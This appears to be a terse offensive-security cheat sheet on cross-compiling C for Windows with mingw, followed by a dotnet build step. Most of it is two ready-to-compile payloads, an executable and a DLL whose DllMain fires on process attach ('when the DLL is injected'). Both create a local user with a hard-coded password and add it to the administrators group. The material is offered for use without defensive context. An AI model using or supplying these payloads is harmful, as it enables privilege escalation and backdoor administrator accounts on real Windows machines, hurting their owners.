Cross-Compilation

1) Cross-compile C Code to 64-bit executable

x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

2) Cross-compile C Code to DLL

x86_64-w64-mingw32-gcc -shared -o adduser.dll adduser.c -Wl,--subsystem,windows

Example C Code

adduser.exe

#include <stdlib.h>

int main ()
{
  system("net user emma Password123! /add");
  system("net localgroup administrators emma /add");
  return 0;
}

adduser.dll

#include <windows.h>  
#include <stdlib.h>  

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
  switch (fdwReason) {
    case DLL_PROCESS_ATTACH:
      // Code executed when the DLL is injected
      system("net user emma Password123! /add");
      system("net localgroup administrators emma /add");
      break;
    case DLL_THREAD_ATTACH:
      break;
    case DLL_THREAD_DETACH:
      break;
    case DLL_PROCESS_DETACH:
      break;
  }
  return TRUE; // Indicate successful execution
}

3) Compile C# Code to executable

cd /CSharpProject
dotnet build .